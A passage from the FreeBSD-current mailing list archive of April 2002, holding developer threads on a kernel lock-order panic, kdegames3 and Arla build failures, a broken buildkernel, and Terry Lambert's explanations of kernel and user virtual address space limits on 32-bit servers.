"unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Apr 22 15:34: 7 2002 Delivered-To: freebsd-current@freebsd.org Received: from gw.nectar.cc (gw.nectar.cc [208.42.49.153]) by hub.freebsd.org (Postfix) with ESMTP id 7766937BF05 for ; Mon, 22 Apr 2002 15:23:04 -0700 (PDT) Received: from madman.nectar.cc (madman.nectar.cc [10.0.1.111]) by gw.nectar.cc (Postfix) with ESMTP id 58CF236; Mon, 22 Apr 2002 17:22:22 -0500 (CDT) Received: from madman.nectar.cc (localhost [IPv6:::1]) by madman.nectar.cc (8.12.3/8.11.6) with ESMTP id g3MMMMFM006480; Mon, 22 Apr 2002 17:22:22 -0500 (CDT) (envelope-from nectar@madman.nectar.cc) Received: (from nectar@localhost) by madman.nectar.cc (8.12.3/8.12.3/Submit) id g3MMMI7H006479; Mon, 22 Apr 2002 17:22:18 -0500 (CDT) Date: Mon, 22 Apr 2002 17:22:18 -0500 From: "Jacques A. Vidrine" To: Jun Kuriyama Cc: Current Subject: Re: lock order reversal and panic in kern_descrip.c Message-ID: <20020422222218.GA6467@madman.nectar.cc> Mail-Followup-To: "Jacques A. Vidrine" , Jun Kuriyama , Current References: <7mpu0szcti.wl@waterblue.imgsrc.co.jp> <20020422123239.GL68403@madman.nectar.cc> <7m8z7fzwi2.wl@waterblue.imgsrc.co.jp> <20020422160926.GA70820@madman.nectar.cc> <7m1yd7zow8.wl@waterblue.imgsrc.co.jp> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <7m1yd7zow8.wl@waterblue.imgsrc.co.jp> User-Agent: Mutt/1.3.28i X-Url: http://www.nectar.cc/ Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, Apr 23, 2002 at 01:20:07AM +0900, Jun Kuriyama wrote: > At Mon, 22 Apr 2002 11:09:26 -0500, > Jacques A. Vidrine wrote: > > I'm curious ... could you send the output of > > > > pkg_info -L linux-netscape-navigator-4.79 | xargs ls -l > > Attached. No setuid executables ... it's a mystery to me how one encounters this code path when running netscape :-( -- Jacques A. Vidrine http://www.nectar.cc/ NTT/Verio SME . FreeBSD UNIX . Heimdal Kerberos jvidrine@verio.net . nectar@FreeBSD.org . nectar@kth.se To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Apr 22 16:10:19 2002 Delivered-To: freebsd-current@freebsd.org Received: from leviathan.inethouston.net (leviathan.inethouston.net [66.64.12.249]) by hub.freebsd.org (Postfix) with ESMTP id 5915D37B4D3; Mon, 22 Apr 2002 15:59:52 -0700 (PDT) Received: by leviathan.inethouston.net (Postfix, from userid 1001) id 450D1319E64; Mon, 22 Apr 2002 07:08:07 -0500 (CDT) Date: Mon, 22 Apr 2002 07:08:07 -0500 From: "David W. Chapman Jr." To: kde@freebsd.org Cc: ports@freebsd.org, current@freebsd.org Subject: kde3 on -current Message-ID: <20020422120807.GA81126@leviathan.inethouston.net> Reply-To: "David W. Chapman Jr." Mail-Followup-To: kde@freebsd.org, ports@freebsd.org, current@freebsd.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.28i X-Operating-System: FreeBSD 4.5-STABLE i386 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Kde3 seems to work great under -current, kdegames3 fails to compile though. I get the following. Any ideas would be appreciated. gmake[2]: Leaving directory `/usr/ports/games/kdegames3/work/kdegames-3.0/konquest' Making all in kpat gmake[2]: Entering directory `/usr/ports/games/kdegames3/work/kdegames-3.0/kpat' Making all in icons gmake[3]: Entering directory `/usr/ports/games/kdegames3/work/kdegames-3.0/kpat/icons' gmake[3]: Nothing to be done for `all'. gmake[3]: Leaving directory `/usr/ports/games/kdegames3/work/kdegames-3.0/kpat/icons' Making all in freecell-solver gmake[3]: Entering directory `/usr/ports/games/kdegames3/work/kdegames-3.0/kpat/freecell-solver' source='freecell.c' object='freecell.lo' libtool=yes \ depfile='.deps/freecell.Plo' tmpdepfile='.deps/freecell.TPlo' \ depmode=gcc /bin/sh ../../admin/depcomp \ /bin/sh ../../libtool --mode=compile cc -DHAVE_CONFIG_H -I. -I. -I../.. -DFCS_STATE_STORAGE=FCS_STATE_STORAGE_INTERNAL_HASH -DFCS_STACK_STORAGE=FCS_STACK_STORAGE_INTERNAL_HASH -pthread -DQT_THREAD_SUPPORT -I/usr/include -I/usr/local/include -I/usr/local/include -I/usr/X11R6/include/qt -D_THREAD_SAFE -O2 -O -pipe -march=k6 -c -o freecell.lo `test -f freecell.c || echo './'`freecell.c cc -DHAVE_CONFIG_H -I. -I. -I../.. -DFCS_STATE_STORAGE=FCS_STATE_STORAGE_INTERNAL_HASH -DFCS_STACK_STORAGE=FCS_STACK_STORAGE_INTERNAL_HASH -pthread -DQT_THREAD_SUPPORT -I/usr/include -I/usr/local/include -I/usr/local/include -I/usr/X11R6/include/qt -D_THREAD_SAFE -O2 -O -pipe -march=k6 -c freecell.c -Wp,-MD,.deps/freecell.TPlo -fPIC -DPIC -o .libs/freecell.o In file included from fcs.h:57, from freecell.c:23: md5.h:17: redefinition of `u_int32_t' /usr/include/sys/types.h:116: `u_int32_t' previously declared here gmake[3]: *** [freecell.lo] Error 1 -- David W. Chapman Jr. dwcjr@inethouston.net Raintree Network Services, Inc. dwcjr@freebsd.org FreeBSD Committer To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Apr 22 16:24:51 2002 Delivered-To: freebsd-current@freebsd.org Received: from deathrow.mail.pas.earthlink.net (deathrow.mail.pas.earthlink.net [207.217.120.19]) by hub.freebsd.org (Postfix) with ESMTP id C195E37C462 for ; Mon, 22 Apr 2002 16:21:23 -0700 (PDT) Received: from snipe.mail.pas.earthlink.net ([207.217.120.62] helo=snipe.prod.itd.earthlink.net) by deathrow.mail.pas.earthlink.net with esmtp (Exim 3.33 #1) id 16zaNv-00067T-00 for current@freebsd.org; Mon, 22 Apr 2002 02:45:23 -0700 Received: from pool0030.cvx21-bradley.dialup.earthlink.net ([209.179.192.30] helo=mindspring.com) by snipe.prod.itd.earthlink.net with esmtp (Exim 3.33 #2) id 16zaNL-0001r2-00; Mon, 22 Apr 2002 02:44:48 -0700 Message-ID: <3CC3DB74.804AF1CE@mindspring.com> Date: Mon, 22 Apr 2002 02:44:20 -0700 From: Terry Lambert X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony} (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: freebsd-current@tcpipbitch.net Cc: Freebsd Current Subject: Re: Offtopic, but hilarious References: <000001c1e9b9$f10765e0$0300000a@desktop> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG freebsd-current@tcpipbitch.net wrote: > > This OS -- and its Darwin offspring -- > extensively use what are called "daemons" (which is how Pagans write > "demon" -- they are notoriously poor spellers: magick, vampyre, etc.) > which is a program that hides in the background, doing things without > the user's notice. > Someone needs to tell these guys about Maxwell's Equations... and his Daemon for sorting fast and slow moving molecules. Apparently, it's also un-Christian to own a refridgerator... -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Apr 22 16:28: 5 2002 Delivered-To: freebsd-current@freebsd.org Received: from deathrow.mail.pas.earthlink.net (deathrow.mail.pas.earthlink.net [207.217.120.19]) by hub.freebsd.org (Postfix) with ESMTP id DA43837BD58; Mon, 22 Apr 2002 16:21:08 -0700 (PDT) Received: from gull.mail.pas.earthlink.net ([207.217.120.84] helo=gull.prod.itd.earthlink.net) by deathrow.mail.pas.earthlink.net with esmtp (Exim 3.33 #1) id 16zb0l-0006CL-00; Mon, 22 Apr 2002 03:25:31 -0700 Received: from pool0081.cvx40-bradley.dialup.earthlink.net ([216.244.42.81] helo=mindspring.com) by gull.prod.itd.earthlink.net with esmtp (Exim 3.33 #2) id 16zb0G-0002Du-00; Mon, 22 Apr 2002 03:25:00 -0700 Message-ID: <3CC3E4C1.6A9893E8@mindspring.com> Date: Mon, 22 Apr 2002 03:24:01 -0700 From: Terry Lambert X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony} (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Jeroen Ruigrok/asmodai Cc: "Marc G. Fournier" , freebsd-current@freebsd.org, freebsd-stable@freebsd.org Subject: Re: FreeBSD 4.5-STABLE not easily scalable to large servers ... ? References: <20020420190408.O30724-100000@mail1.hub.org> <20020422060449.GE54143@daemon.ninth-circle.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Jeroen Ruigrok/asmodai wrote: > Take a look at this: > http://www.freebsd.org/cgi/getmsg.cgi?fetch=245329+248644+/usr/local/www/db/text/2001/freebsd-hackers/20010624.freebsd-hackers This is actually no longer valid, since there have been changes to both the PDE caclcualtions and the kernel base definition to try and make it "more automatic" the change the KVA space size. At the time of the referenced posting, the modifications necessary were to /sys/conf/ldscript.i386 and /sys/i386/include/pmap.h. David also neglected to document how he calculated the "511", which is actually "511 for a UP system, 510 for an SMP system", which is to divide the kernbase by 0x00400000, after subtracting 0x00100000, and then subtracting the recursive entry out of the total. You also have to subtract out the private entries (if any) for SMP, etc.. Basically, you have to calculate the number of descriptor entries required to map the entire KVA space as 4K pages from 1K of 4K page tables (1K worth of entries in a 4K page descriptor table for the address space). Of course, now everyone is going to say "how do I... how do I...", wanting one of the six ways you have to do it, based on the FreeBSD version and/or intermediate release (-release? -stable? -security? -some-date-here?), rather than figuring out the answer based on a single known release. The other issue here is that the number 1 reason for wanting to dick around with this is to be able to add more physical memory, and to do that successfully, you have to know a hell of a lot more about tuning FreeBSD than reading the happy-fun "tuning" manual page can ever teach you, without you understanding how the OS actually does its thing at a low level. I personally consider the "tuning" man page as just a knee-jerk reaction to bad publicity resulting from naieve benckmarking. IMO, it's much better to just give elliptical clues, and then leave the job to the people who can follow the clues and learn enough that they not only get the right answer, but then end up knowing enough about *why* it's the right answer to be able to do the other required tuning. If FreeBSD would ever sit still long enough for someone to get a book out, there's probably be a book on the subject (Kirk has been working on one for a year now, according to several people, called "The Design and Implementation of the FreeBSD Operating System"; no, I don't know what version it's supposed to apply to); IMO, an architect should set some things in stone, and leave them there long enough that documentation doesn't immediately go out of date. It's a hazard of Open Source projects, in general, that there are so many people hacking on whatever they think is cool that nothing ever really gets built to a long term design plan that's stable enough that a book stands a chance of having a 1 year lifetime. Basically, it'll boil down to paying someone who "knows where the bodies are buried" to do the work for you, if you want to get more than just a hack job. 8-(. -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Apr 22 16:41:42 2002 Delivered-To: freebsd-current@freebsd.org Received: from sasami.jurai.net (sasami.jurai.net [66.92.160.223]) by hub.freebsd.org (Postfix) with ESMTP id DCBB237BC1A; Mon, 22 Apr 2002 16:40:13 -0700 (PDT) Received: from sasami.jurai.net (sasami.jurai.net [66.92.160.223]) by sasami.jurai.net (8.12.2/8.12.2) with ESMTP id g3MNe62A083074; Mon, 22 Apr 2002 19:40:06 -0400 (EDT) (envelope-from winter@jurai.net) Date: Mon, 22 Apr 2002 19:40:06 -0400 (EDT) From: "Matthew N. Dodd" To: "David W. Chapman Jr." Cc: kde@FreeBSD.ORG, , Subject: Re: kde3 on -current In-Reply-To: <20020422120807.GA81126@leviathan.inethouston.net> Message-ID: <20020422193838.N42854-100000@sasami.jurai.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Mon, 22 Apr 2002, David W. Chapman Jr. wrote: > Kde3 seems to work great under -current, kdegames3 fails to compile > though. I get the following. Any ideas would be appreciated. > In file included from fcs.h:57, > from freecell.c:23: > md5.h:17: redefinition of `u_int32_t' > /usr/include/sys/types.h:116: `u_int32_t' previously declared here > gmake[3]: *** [freecell.lo] Error 1 There are a couple of things that need && !defined(__FreeBSD__) to them. (This error and the one after it IIRC.) There is one later on involving malloc.h in kdegraphics. -- | Matthew N. Dodd | '78 Datsun 280Z | '75 Volvo 164E | FreeBSD/NetBSD | | winter@jurai.net | 2 x '84 Volvo 245DL | ix86,sparc,pmax | | http://www.jurai.net/~winter | For Great Justice! | ISO8802.5 4ever | To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Apr 22 16:41:45 2002 Delivered-To: freebsd-current@freebsd.org Received: from infres.enst.fr (infres-192.enst.fr [137.194.192.1]) by hub.freebsd.org (Postfix) with ESMTP id 9B7EE37B9A6 for ; Mon, 22 Apr 2002 16:38:56 -0700 (PDT) Received: from shalmaneser.enst.fr (shalmaneser.enst.fr [137.194.162.11]) by infres.enst.fr (Postfix) with ESMTP id 6F66218BB for ; Mon, 22 Apr 2002 17:18:45 +0200 (MEST) Received: by shalmaneser.enst.fr (Postfix, from userid 0) id 74613112A7; Mon, 22 Apr 2002 17:18:39 +0200 (CEST) Date: Mon, 22 Apr 2002 17:18:39 +0200 From: thomas@cuivre.fr.eu.org To: freebsd-current@freebsd.org Subject: buildkernel borken Message-ID: <20020422171839.A603@shalmaneser.enst.fr> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG -------------------------------------------------------------- >>> Kernel build for SHALMANESER started on Mon Apr 22 17:11:36 CEST 2002 -------------------------------------------------------------- ===> SHALMANESER [...] cd /usr/src/sys/modules ; MAKEOBJDIRPREFIX=/usr/obj/usr/src/sys/SHALMANESER/modules KMODDIR=/boot/kernel DEBUG="-g" DEBUG_FLAGS="-g" MACHINE=i386 make cleandir ===> 3dfx "/usr/src/share/mk/bsd.dep.mk", line 31: bsd.dep.mk cannot be included directly. *** Error code 1 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Apr 22 16:52:15 2002 Delivered-To: freebsd-current@freebsd.org Received: from odusv.oduurl.ru (odusv.oduurl.ru [195.12.73.193]) by hub.freebsd.org (Postfix) with SMTP id 9F05237B487 for ; Mon, 22 Apr 2002 16:51:19 -0700 (PDT) Received: from maxic.smes.elektra.ru by odusv.oduurl.ru with ESMTP id AAA32196 (8.6.12 for ); Tue, 23 Apr 2002 00:44:11 +0600 Received: (from root@localhost) by maxic.smes.elektra.ru (8.11.1/8.11.6) id g3MGRKG22962 for current@FreeBSD.org.KAV; Mon, 22 Apr 2002 22:27:20 +0600 (YEKST) (envelope-from kuzn@smes.elektra.ru) Received: from Orsmga (ods.smes.elektra.ru [192.168.7.150]) by maxic.smes.elektra.ru (8.11.1/8.11.6) with SMTP id g3MGRIJ22922 for ; Mon, 22 Apr 2002 22:27:18 +0600 (YEKST) (envelope-from kuzn@smes.elektra.ru) Date: Mon, 22 Apr 2002 22:27:18 +0600 (YEKST) Message-Id: <200204221627.g3MGRIJ22922@maxic.smes.elektra.ru> From: zajv To: current@FreeBSD.org Subject: A very excite game MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=S3hRo1094JV6T643B7Dc84r Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Apr 22 16:57:33 2002 Delivered-To: freebsd-current@freebsd.org Received: from rahl.dorm.duke.edu (rahl.dorm.duke.edu [152.16.249.139]) by hub.freebsd.org (Postfix) with ESMTP id 550DF37B405 for ; Mon, 22 Apr 2002 16:57:30 -0700 (PDT) Received: from rahl.dorm.duke.edu (localhost [127.0.0.1]) by rahl.dorm.duke.edu (8.12.3/8.12.3) with ESMTP id g3MNvYIO052665 for ; Mon, 22 Apr 2002 19:57:34 -0400 (EDT) (envelope-from scott@rahl.dorm.duke.edu) Received: (from scott@localhost) by rahl.dorm.duke.edu (8.12.3/8.12.3/Submit) id g3MNvXbj052664 for freebsd-current@freebsd.org; Mon, 22 Apr 2002 19:57:33 -0400 (EDT) Message-Id: <200204222357.g3MNvXbj052664@rahl.dorm.duke.edu> Content-Type: text/plain; charset="us-ascii" From: Scott Sipe To: freebsd-current@freebsd.org Subject: Arla Port Date: Mon, 22 Apr 2002 19:57:33 -0400 X-Mailer: KMail [version 1.3.2] MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi, I'm having trouble compiling the Arla (AFS) port on CURRENT, it looks like certain structures have changed. Is anyone running Arla on current? If it would be the right thing to do, I can post the errors here. Scott To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Apr 22 19:15:39 2002 Delivered-To: freebsd-current@freebsd.org Received: from hawk.mail.pas.earthlink.net (hawk.mail.pas.earthlink.net [207.217.120.22]) by hub.freebsd.org (Postfix) with ESMTP id 0A13E37B400; Mon, 22 Apr 2002 19:15:30 -0700 (PDT) Received: from pool0527.cvx21-bradley.dialup.earthlink.net ([209.179.194.17] helo=mindspring.com) by hawk.mail.pas.earthlink.net with esmtp (Exim 3.33 #2) id 16zpq0-0005D8-00; Mon, 22 Apr 2002 19:15:24 -0700 Message-ID: <3CC4C3A0.B1279BFC@mindspring.com> Date: Mon, 22 Apr 2002 19:14:56 -0700 From: Terry Lambert X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony} (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: David Schultz Cc: freebsd-current@FreeBSD.ORG, freebsd-stable@FreeBSD.ORG Subject: Re: FreeBSD 4.5-STABLE not easily scalable to large servers ... ? References: <20020421191440.J1721-100000@mail1.hub.org> <3CC3D494.649C2A8E@mindspring.com> <20020422060952.B31888@HAL9000.wox.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG David Schultz wrote: > Thus spake Terry Lambert : > > If you want more, then you need to use a 64 bit processor (or use a > > processor that supports bank selection, and hack up FreeBSD to do > > bank swapping on 2G at a time, just like Linux has been hacked up, > > and expect that it won't be very useful). > > I'm guessing that this just means looking at more than 4 GB of memory > by working with 2 GB frames at a time. As I recall, David Greenman > said that this hack would essentially require a rewrite of the VM > system. Does this just boil down to using 36 bit physical addresses? > Are there plans for FreeBSD to support it, or is everyone just waiting > until 64 bit processors become more common? David Greenman is right.Nevertheless, Peter was planning on doing the hack, according to his postings to -current. Please check the list archives for these things. > Does FreeBSD use 4M pages exclusively for kernel memory, as in > Solaris, or is there a more complicated scheme? FreeBSD starts out using 4K pages for the premapped memory, and switches over to a 4M page scheme for the initially loaded kernel, for at least the first 4M. The PTEs that were for the 4K pages that are replaced with the 4M mappings are simply lost in the reload of CR3, and never recovered for the system to use (the pages containing the PTEs there are "leaked", but it's usually one page, so 4K is not that bad a leak). For much of the FreeBSD kernel, 4K pages are used. I'm pretty sure Solaris also used 4K pages for swappable memory in the kernel, as well: 4M pages don't make much sense, since you could, for example, exhaust KVA space with 250 kernel modules (250 X (1 data + 1 code) * 4M = 2G). > > If you increase the KVA, then you will decrease the UVA available to > > user processes. The total of the two can not exceed 4G. > > In Linux, all of physical memory is mapped into the kernel's virtual > address space, and hence, until recently Linux was limited to ~3 GB of > physical memory. FreeBSD, as I understand, doesn't do that. So is > the cause of this limitation that the top half of the kernel has to > share a virtual address space with user processes? No. You need to look at the "copyin" implementation in both OSs to find the answer. The way it works is by mapping the address space of the process in question and the kernel at the same time, and copying bytes between them. These are really basic questions about memory layout, which you should already know the answer to, if you are mucking about in the KVA size or other parts of the kernel. I don't know where the Linux limitation comes from; it's really hard for me to believe "~3G", since it's not an even power of 2, so I don't really credit this limitation. > I'll have to read those books one of these days when I have time(6). > Thanks for the info. No problem; I think you will have to, if you are planning on mucking about with more than 4G of physical memory. -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Apr 22 19:27:54 2002 Delivered-To: freebsd-current@freebsd.org Received: from hawk.mail.pas.earthlink.net (hawk.mail.pas.earthlink.net [207.217.120.22]) by hub.freebsd.org (Postfix) with ESMTP id A8ED037B41A; Mon, 22 Apr 2002 19:27:44 -0700 (PDT) Received: from pool0527.cvx21-bradley.dialup.earthlink.net ([209.179.194.17] helo=mindspring.com) by hawk.mail.pas.earthlink.net with esmtp (Exim 3.33 #2) id 16zq1v-0005Q3-00; Mon, 22 Apr 2002 19:27:43 -0700 Message-ID: <3CC4C683.F9AEF14E@mindspring.com> Date: Mon, 22 Apr 2002 19:27:15 -0700 From: Terry Lambert X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony} (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: "Marc G. Fournier" Cc: freebsd-current@freebsd.org, freebsd-stable@freebsd.org Subject: Re: FreeBSD 4.5-STABLE not easily scalable to large servers ... ? References: <20020422104250.E1721-100000@mail1.hub.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG "Marc G. Fournier" wrote: > First, alot of this stuff is slowly sinking in ... after repeatedly > reading it and waiting for the headache to disapate:) > > But, one thing that I'm still not clear on ... > > If I have 4Gig of RAM in a server, does it make any sense to have swap > space on that server also? Yes. But it (mostly) does not apply to KVA, only to UVA data, and there are much larger KVA requirements, so the more RAM you have, the bigger the bottleneck to user space for anything you swap. > Again, from what I'm reading, I have a total of 4Gig *aggregate* to > work with, between RAM and swap, but its right here that I'm confused > right now ... basically, the closer to 4Gig of RAM you get, the closer > to 0 of swap you can have? No. I think you are getting confused on cardinality. You get one KVA, but you get an arbitrary number of UVA's, until you run out of physical RAM to make new ones. You have 4G aggregate KVA + UVA. So if your KVA is 3G, and your UVA is 1G, then you can have 1 3G KVA, and 1000 1G UVA's. Certain aspects of KVA are non-swappable. Some parts of UVA are swappable in theory, but never swapped in practice (the page tables and descriptors for each user process). The closer to 4G you have, the more physical RAM you have to spend on managing the physical RAM. The total amount of physical RAM you have to spend on managing memory is based on the total physical RAM plus the total swap. As soon as that number exceeds ~2.5G, you can't do it on a 32 bit processor any more, unless you hack FreeBSD to swap the VM housekeeping data it uses for swapping UVA contents. Think of physical RAM as a resource. It's seperate from the KVA and UVA, but the KVA has to have physical references to do paged memory management. You are limited by how many of these you can have in physical RAM, total. -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Apr 22 19:51:55 2002 Delivered-To: freebsd-current@freebsd.org Received: from white.imgsrc.co.jp (ns.imgsrc.co.jp [210.226.20.2]) by hub.freebsd.org (Postfix) with ESMTP id ADC3137B41B; Mon, 22 Apr 2002 19:51:51 -0700 (PDT) Received: from black.imgsrc.co.jp (black.imgsrc.co.jp [2001:218:422:2::130]) by white.imgsrc.co.jp (Postfix) with ESMTP id D61C324D1C; Tue, 23 Apr 2002 11:51:50 +0900 (JST) Received: from waterblue.imgsrc.co.jp (waterblue.imgsrc.co.jp [2001:218:422:2::160]) by black.imgsrc.co.jp (Postfix) with ESMTP id 5F9B81E46F6; Tue, 23 Apr 2002 11:51:49 +0900 (JST) Date: Tue, 23 Apr 2002 11:50:48 +0900 Message-ID: <7mu1q3xh4n.wl@waterblue.imgsrc.co.jp> From: Jun Kuriyama To: "Jacques A. Vidrine" Cc: Current Subject: Re: lock order reversal and panic in kern_descrip.c In-Reply-To: <20020422222218.GA6467@madman.nectar.cc> References: <7mpu0szcti.wl@waterblue.imgsrc.co.jp> <20020422123239.GL68403@madman.nectar.cc> <7m8z7fzwi2.wl@waterblue.imgsrc.co.jp> <20020422160926.GA70820@madman.nectar.cc> <7m1yd7zow8.wl@waterblue.imgsrc.co.jp> <20020422222218.GA6467@madman.nectar.cc> User-Agent: Wanderlust/2.9.7 (Unchained Melody) SEMI/1.14.3 (Ushinoya) FLIM/1.14.3 (=?ISO-8859-4?Q?Unebigory=F2mae?=) APEL/10.3 Emacs/21.1 (i386--freebsd) MULE/5.0 (=?ISO-2022-JP?B?GyRCOC1MWhsoQg==?=) MIME-Version: 1.0 (generated by SEMI 1.14.3 - "Ushinoya") Content-Type: text/plain; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > No setuid executables ... it's a mystery to me how one encounters this > code path when running netscape :-( Hmmm, after patch about FILEDESC_LOCK (1.139), my netscape can run correctly. (@_@) -- Jun Kuriyama // IMG SRC, Inc. // FreeBSD Project To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Apr 22 23:12: 2 2002 Delivered-To: freebsd-current@freebsd.org Received: from mail1.theplanet.com (mail1.theplanet.com [216.234.234.32]) by hub.freebsd.org (Postfix) with ESMTP id E164B37B400 for ; Mon, 22 Apr 2002 23:11:57 -0700 (PDT) Received: from jheath.theplanet.com (jheath.theplanet.com [216.185.111.7] (may be forged)) by mail1.theplanet.com (8.9.3/8.9.3) with ESMTP id BAA24239 for ; Tue, 23 Apr 2002 01:11:57 -0500 (CDT) Message-Id: <5.1.0.14.2.20020423010541.024a3cc8@mail.theplanet.com> X-Sender: justinh@mail.theplanet.com X-Mailer: QUALCOMM Windows Eudora Version 5.1 Date: Tue, 23 Apr 2002 01:11:14 -0500 To: current@freebsd.org From: Justin Heath Subject: Status on ftp servers? Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Any word on when current.freebsd.org or releng4.freebsd.org will be available again? I noticed some discussion of this dating back to February but did not see a final date. If it is still going to be down for a while anyone know of an alternative site? Thanks. Justin Heath To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Apr 22 23:17: 5 2002 Delivered-To: freebsd-current@freebsd.org Received: from HAL9000.wox.org (12-232-222-90.client.attbi.com [12.232.222.90]) by hub.freebsd.org (Postfix) with ESMTP id 70F4D37B41A; Mon, 22 Apr 2002 23:16:51 -0700 (PDT) Received: (from das@localhost) by HAL9000.wox.org (8.11.6/8.11.6) id g3N6H7Z54746; Mon, 22 Apr 2002 23:17:07 -0700 (PDT) (envelope-from das) Date: Mon, 22 Apr 2002 23:17:07 -0700 From: David Schultz To: Terry Lambert Cc: freebsd-current@FreeBSD.ORG, freebsd-stable@FreeBSD.ORG Subject: Re: FreeBSD 4.5-STABLE not easily scalable to large servers ... ? Message-ID: <20020422231707.A53736@HAL9000.wox.org> Mail-Followup-To: Terry Lambert , freebsd-current@FreeBSD.ORG, freebsd-stable@FreeBSD.ORG References: <20020421191440.J1721-100000@mail1.hub.org> <3CC3D494.649C2A8E@mindspring.com> <20020422060952.B31888@HAL9000.wox.org> <3CC4C3A0.B1279BFC@mindspring.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <3CC4C3A0.B1279BFC@mindspring.com>; from tlambert2@mindspring.com on Mon, Apr 22, 2002 at 07:14:56PM -0700 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Thus spake Terry Lambert : > I'm pretty sure Solaris also used 4K pages for swappable memory > in the kernel, as well: 4M pages don't make much sense, since > you could, for example, exhaust KVA space with 250 kernel modules > (250 X (1 data + 1 code) * 4M = 2G). It doesn't use 4M pages for all kernel memory---just the first 4M of code and the first 4M of data. Supposedly it also allows applications to take advantage of 4M pages, though I'm not sure how that works. At the very least I'd suppose that those pages are locked into memory. > I don't know where the Linux limitation comes from; it's really > hard for me to believe "~3G", since it's not an even power of 2, > so I don't really credit this limitation. I don't really understand it either. I could try to find the link to where I found this information if you're interested, but I wouldn't be surprised if it is simply wrong. The 2.4 kernel docs seem to imply that 2.4 can use 4 